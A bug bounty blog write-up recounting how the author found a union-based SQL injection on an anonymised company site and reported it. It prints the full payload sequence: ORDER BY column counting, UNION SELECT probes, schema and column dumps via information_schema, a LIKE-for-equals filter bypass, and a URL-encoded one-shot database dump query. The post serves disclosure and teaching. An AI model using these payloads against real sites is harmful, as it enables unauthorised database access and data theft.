Hello everyone,

This is my first blogpost writeup and I am very excited to share this. Few days ago I’ve tested a private site, I used the site name like “site.com”.

The company provide services via ip address. I dont know about their full service details. I just check bugs my regular testing way in their userpanel.

While testing I found some issues, like clickjacking, open redirection, and xss also.

After reported multiple bugs via mail ask them about update process they said,

Then I asked them about bounty,
They said,

I was disappointed to see their reply. I thought may be they consider the xss issues. But they don’t accept any bug for bounty without sql injection. :(

In this time they already fixed the issues. But that time I was in vacation and spent time without my pc. So I can’t check any sql injection that time. I was dissapointed but my mind was thinking there’s must be a point to do sqli.

After fews days I back my work and start finding all endpoints.

So, for finding any parameters I normally used auckentix. I dont like to use any tool, but sometimes it helps. I just start searching many parameters but no params is vulnerable. Finally I found a parameter that is vulnerable to “union based injection” i was happy but can’t find any vulnerable column. In this mean time I found a Another parameter like https://site.com/ress/xx-list/os-detail?os=xxxxxxxxx. This parameter is sqli vulnerable also.

Then try my all sql injection learning tricks.

First I fix the query in a normal process. I try with “union based”
https://site.com/xxxxx/xxxx-list/os-detail?os=xxxxx'--+ (query fixed)
https://site.com/xxxxx/xxxx-list/os-detail?os=xxxxx' order by 1 — + (ok)
https://site.com/xxxxx/xxxx-list/os-detail?os=xxxxx' order by 15 — + (error)
https://site.com/xxxxx/xxxx-list/os-detail?os=xxxxx' order by 11 — + (ok)

there is 11 columns :) Previous endpoint had 14 columns but no vulnerable column.

https://site.com/xxxxx/xxxx-list/os-detail?os=xxxxx' +UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11)) — +

Got the vulnerable point. Vulnerable column was 2,3,4,8. Then I try to print DB,version, OS, port and all others in the front page. This is now easy task to do other parts.

https://site.com/xxxxx/xxxx-list/os-detail?os=-xxxxx' Union Select 1,Concat(0x3c666f6e7420636f6c6f723d7265642073697a653d343e,’Injected by dipu’,0x3c62723e,’ version : ‘,@@version,0x3c62723e,’ DB : ‘,database(),0x3c62723e,’User : ‘,user(),0x3c62723e,’OS : ‘,@@VERSION_COMPILE_OS,0x3c62723e,’SSL : ‘,@@HAVE_OPENSSL,0x3c62723e,’Port : ‘,@@PORT ),3,4,5,6,7,8,9,10,11 — +

Then I try to print tables schema,

https://site.com/xxxxx/xxxx-list/os-detail?os=-xxxxx' Union Select 1,Concat(0x3c666f6e7420636f6c6f723d7265642073697a653d343e,’Injected by dipu’,0x3c62723e,’ version : ‘,@@version,0x3c62723e,’ DB : ‘,database(),0x3c62723e,’User : ‘,user(),0x3c62723e,’OS : ‘,@@VERSION_COMPILE_OS,0x3c62723e,’SSL : ‘,@@HAVE_OPENSSL,0x3c62723e,’Port : ‘,@@PORT ),(select Group_Concat(0x3c62723e,table_name) from information_schema.tables where table_schema),4,5,6,7,8,9,10,11 — +

Tables Schema printed.

https://site.com/xxxxx/xxxx-list/os-detail?os=-xxxxx' Union Select 1,Concat(0x3c666f6e7420636f6c6f723d7265642073697a653d343e,’Injected by dipu’,0x3c62723e,’ version : ‘,@@version,0x3c62723e,’ DB : ‘,database(),0x3c62723e,’User : ‘,user(),0x3c62723e,’OS : ‘,@@VERSION_COMPILE_OS,0x3c62723e,’SSL : ‘,@@HAVE_OPENSSL,0x3c62723e,’Port : ‘,@@PORT ),(select Group_Concat(0x3c62723e,table_name,0x3a3a,column_name) from information_schema.columns where table_schema=database()),4,5,6,7,8,9,10,11 — +

But I got a problem there to print full table via union select query.
(select Group_Concat(0x3c62723e,table_name,0x3a3a,column_name) from information_schema.columns where table_schema=database())

the problem was ‘=’. I remembered,there is a way to bypass this equal sing. Just a simple bypass “=” change to like
(select Group_Concat(0x3c62723e,table_name,0x3a3a,column_name) from information_schema.columns where table_schema like database())

Then Full table was printed.

Then do dios. But dios not work. zen,makman, sharik no dios worked. I just encoded the query and printed the whole table with columns. I was shocked to see the info. :D Just in one word I can say, everything was there.

Full query with dios,

https://site.com/xxxx/xxx-list/os-detail?os=-xxxxx' Union Select 1,Concat(0x3c666f6e7420636f6c6f723d7265642073697a653d323e,’Injected by dipu’,0x3c62723e,’ version : ‘,@@version,0x3c62723e,’ DB : ‘,database(),0x3c62723e,’User : ‘,user(),0x3c62723e,’OS : ‘,@@VERSION_COMPILE_OS,0x3c62723e,’SSL : ‘,@@HAVE_OPENSSL,0x3c62723e,’Port : ‘,@@PORT ),3,4,5,6,7,8,%28%53%65%6c%65%63%74%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%66%72%6f%6d%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29,10,11 — +

I have reported them and they give reply so quick, they trun off the site and said,

Normally I dont check any sqli in big sites, cause its hard to find. But this finding inspire me to do more like this. Its true if they dont ask about sqli I didn’t try. :3

Hope you Like my first write up.

Sorry for my mistakes and bad english.

Thanks for reading. :)
